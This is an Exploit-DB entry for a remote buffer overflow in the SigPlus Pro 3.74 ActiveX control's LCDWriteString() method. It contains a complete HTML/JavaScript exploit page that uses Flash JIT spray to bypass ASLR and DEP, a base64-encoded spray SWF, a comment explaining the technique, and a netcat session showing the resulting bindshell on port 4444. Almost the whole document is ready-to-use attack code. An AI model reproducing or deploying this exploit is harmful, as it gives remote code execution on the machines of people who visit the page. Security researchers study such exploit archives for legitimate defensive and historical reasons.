Exploit-DB #14514
Description: SigPlus Pro 3.74 - ActiveX 'LCDWriteString()' Remote Buffer Overflow JIT Spray (ASLR + DEP Bypass)
Type: remote
Platform: windows
Date: 2010-07-31
Author: mr_me

Exploit:
<html>
<!--
===================================================================================================
SigPlus Pro v3.74 ActiveX Signature Capture LCDWriteString() Remote BoF JIT Spray - aslr/dep bypass
Author: mr_me - @StevenSeeley
Download: http://www.topazsystems.com/Software/download/sigplusactivex.htm
Tested on: Windows 7 Professional vN (IE8)
	   Windows XP Professional SP3 (IE7/8)
Greetz: Corelan Security Team
http://www.corelan.be:8800/index.php/security/corelan-team-members/ 

*** Special thanks to Alex Sintsov from DSecRG ***

===================================================================================================
Script provided 'as is', without any warranty.
Use for educational purposes only.
Do not use this code to do anything illegal !

Note : you are not allowed to edit/modify this code.
If you do, Corelan cannot be held responsible for any damages this may cause.
===================================================================================================
Things to note:

- Latest version of SigPlus pro is not Vulnerable. 
- Attached below is the base64 of jit-spray.swf.
- the victim will need flash <= v10.0.42. 
- The shell code executes bindshell on port 4444.

How is it working?
Spraying the JIT memory pages with nops + egghunter combined with a call to VirtualProtect() to mark 
our newly found shellcode to executable and then jumping to it. We spray so many pages that the retn 
address we guess and the exploit becomes reliable working 9/10 times.

root@bt:~# nc -v 192.168.1.8 4444
192.168.1.8: inverse host lookup failed: Unknown server error : Connection timed out
(UNKNOWN) [192.168.1.8] 4444 (?) open
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Steve\Desktop>
===================================================================================================
-->
	
<object classid='clsid:69A40DA3-4D42-11D0-86B0-0000C025864A' id='target' ></object>
<object id='spray' classid="clsid:D27CDB6E-AE6D-11cf-96B8[PII_REDACTED]00" width="780" height="420"></object>
<script>

		function rockAndRoll()
		{
			var buffSize = 477;   
			var x = unescape("%41");    
			while (x.length<buffSize) x += x;    
			x = x.substring(0,buffSize);  

			// you may need to change this value
			var seh = unescape("%01%01%22%0d"); 
			var y = unescape("%42");
 			var buffSize1 = 5140;
			while (y.length<buffSize1) y += y;    
			y = y.substring(0,buffSize1);       

			alert('Do you feel lucky, punk?')
			target.LCDWriteString(1,1,1,1,1,1,1,x+seh+y);
		}

	spray.Movie="jit-spray.swf";
	setTimeout('rockAndRoll()',10000);
</script>
<body>
<p><center>~ mr_me presents ~</p>  
<p><b>SigPlus Pro v3.74 0day ActiveX LCDWriteString() Remote Buffer Overflow JIT Spray - aslr/dep bypass</b></center></p> 
</body>  
<!--
Q1dTCeEXAAB42lWYeVxTVxbH331rAFFExaUusXWpy+NhrbU60ykW1IpVpm5T22FMAkGigVCIC3Y6
jYgKVqosbmAVRBYRaBVFrFZRUcEFI6jwUSspVNEKKAVxr/PuzbmdTv7I953lnvM7776bBCKZbhkM
c8TG9EWMf3cNwzDHe37Xm3G+PBhvpggx+369MOGS6/36y/n81vU7i6XaksN7hJetrUVsUXrSTuFG
enaBVFOaFYcSXpbfFYsvZ+7iqrOPl6ErqW3jqw5fG3a0qfgWV3L47EY+Zd2Zp4Ljx+Kr/PoLlTXs
7fx9R6Rd19fdlxqrrzRKZUVbOrma9objbE7rvhvitrNNW4Ut2dmtbNHN599zRU2/d6C7Dy6sEY4X
HjuPjj2oqRYSrtXd4g6ee1YjPa6tvsrZUzpapYPnLj0QDu18aZdq72UV8xdv1OdwqU0VKcLmV21x
3Le5O7KkJ40b+lcdSc/hfkjLPsY9SjhVLzXkpt8Wr6Q+usI1H7yRxRUm3mrk7+zJbxYr77w6wOZ0
VF0Wd7Q7jgobzyWcFluufZvF3sxprxCTr2S+FA5t2/tSPFV0MaA1+XoJb088dUP68fu8A/wPa7b8
wp9+lVYvXj92oxMlJJZ8xxWuSm/h0wtvNYt3t9c1innVJwtQ9pbk02x+yaUGMetZRTWfXXG9Q9jz
ZN05/sWq5t/RwydrU9kXNbEJbMbR7W1oY2u5jW2tqEtFtbk3v0Fbsm7aUHvSnVzeti/zpFCa2dDA
34xvU9/iLiej38r3lqKiytJN0s9XE6a3pZXfZxvK07dLT1J+KkCX1/3cyT5J2dzOFlSVFrMt8Yce
s/Wr2qr4S3kXl5c+f3qCv16+KV7a0ZBfLlzMO7s8aceFOjH+fvJ2/kru0VT0KCE7QTiTV/6Er/mp
aifX3pTyr/jdB3bzT0q3Z4uX4l5ms78NrkQrbR53LmwrFudWHTpdhYqTzx4UOirsD4RVN9o3cI82
r8+TjrYe3i/ln2xJEjMvNz0X9pdeixXaa20vhLgD+7dyZ56efMwnrt6QzT9LvTjiu6RjDr78ccsr
fv0vyQ+lh/ub2/iXZ1rOi79XnkkTHh2tKBSv/3a2UtyS9uyhmHXuXi16HPf0GF9wbWcy+6Khqoq7
t6apUPh64+VCtvrXmxv59c07N7NZL0oOi9UPN+wUDt3aliHuOtTUimLXf7NGrF716jG3OvGHEm7H
iZQT4q7K5+Pqvk/M55vyE+N5W+fpjcKL+J+a+Za7GTe5pNrci6LrmwVszwyRyUbq4Qk8Mr9hEsOU
tU7IbVKpzYyd/Au2V5x1+1Wl44rwAPuZeSemt6i0jTsYjv0Zw9Lm/azS139kT0wm0brsPvYfqW7A
+RlfrUxpxPnjjzfhdbqqAwmkT4FHPY77fn16Fu5je89tFKk78nLqXdL3UA72+77o+PAOZsuNt3A/
29zKItJvb6WC6+r6jpuI/cz4853NmPu+uYjXOZoOXiVzTC3wx/20yyom4vq+6V2zb+N1FREPcB3t
hV99cD9t3ikzztd9Ov09rL/smjL2Afbntqe14jnGHahxYH+EX/E97A/av4DMeXjwT7he2aUjHVin
bcHxv+F+tmHPDuB+jt7XJ2C/VtfvEl5ns4wleb7pS7fhurqnz21Yh214Yn88j2/r27/hPhmb2y7h
utosTwuey5Ef/SWes2xWaD1Z5/flGHI/F393mOgu//ELrLcsze0B1sV0zvyE3J9BG5pxPW30rPdw
H131iwKcx3RN+wGvcyypsJB1oS3fk3lOrx1B5um4exPnOwrmt+E+ZX+pPNpA9m/NP8g+KKv9yD5M
/cwH29qxdf2xTt1Bn8+wPt9aT3eyv4unv43vL2NyOXSf7N+M1WSO6lhXYn878d+kX0lHHZlrQ+08
TO1nn5bgfcwIv1eH+2ZUjPod52t3J88i+7V9aCPOc+TYask8D59y+L46ulVkE7/48XzSVzk/l/Q7
0fg51qd9pdTj+6ItD2gg+zK8ajjZtzytF5l31smpJO+ovwvZl7Wlm3Ad25F/HiN6S9eW4rnKbj+P
J3baV1WYjjGGATg/I7p0JXl+D67YfJfcr6C9JG95ksZBns/hQ8j+3F6kxzpttQlteH7bwMwUcs7e
FQPIOfvw5Rkyx39+3IX9vu0LbKTu45wocl/3pb+L6/hefb8T19UFd54nuvW6ybiebyPXF/sdF/eu
xPfHMfvMJ0Sf3noBP4cZm2qXk/twv2sMeZ53TIokz3lNgzc5x0PiTNgum5P3AXluNjbMwiw7/34F
3hdmwsdr8L44AnanYzKxQX5Yj+6dTWPJ8/rXei+s1+FTHU/OdX1xJtln652PsS7f86fOkn19fz2p
X3ZuYBzZr9GD5pH7VueaRfQnl6Tg/WF67e8k5zmqtRLXYfL7L8Jz6cIkmcxdtTWIzJGTdZh8HvSe
OIM8h5uGVpH7ee/ubHK/hsTuIfvtFTQAxxnD59fI58FT/VZSZ+TaEeTzY9CWoeTzbWDYhHuTJjCv
aWVtiCXCOFq7TG+yakMtUdroSLPFZPX29kYjB6nRgGlzVFeUPsYUsfBPWeO0aoY4c0m4wRglfWTR
h6xYMcZlhmWpyehnNkV2mREzx7jcOsVkNIeM0QSHmcwhs4yh7v4mtbg+JtCwyBhsdQ0z6iMXGMyW
4MXCpCi1gbTIZF1gXLjQ5YMYq5F4WFOwYA6ZFmHtFhxl1FuNf9R0jdQvNOKuk5dr6KVLuNGqnx1m
NJtFZ4Nuk5caI6y4p94aHGaM6q4WMkbpg62mpUZnhtf/CfKzRFj1pghjlDg7MspkNbr80Q7FCMtM
IdYwMcxoWhhmdTXogxcvjLIsiQgRDZaoEGOURh8S4oenFLEStcLkiBCTPsL9o2lz5nw0ecHkmf7T
Js0UjcSpWYaLq1pcycXsMEuU1YVc4rldzGoBfBHNW9X27sFmoz6KCF+qN/ORS6LDNLONwUvU9Bg3
vdlsWeZvCVdFu/+hdU5MpFHynz9z0oxpfrxVNdyijVZawDXUrI8O8